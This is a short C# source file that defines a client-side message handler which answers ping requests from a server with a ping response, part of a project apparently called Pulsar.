using Pulsar.Common.Messages; using Pulsar.Common.Messages.Other; using Pulsar.Common.Networking; using System; using System.Diagnostics; namespace Pulsar.Client.Messages { /// /// Handles ping requests from the server. /// public class PingHandler : IMessageProcessor { /// public bool CanExecute(IMessage message) => message is PingRequest; /// public bool CanExecuteFrom(ISender sender) => true; /// public void Execute(ISender sender, IMessage message) { switch (message) { case PingRequest pingRequest: Execute(sender, pingRequest); break; } } private void Execute(ISender client, PingRequest message) { // respond fast ash client.Send(new PingResponse()); } } }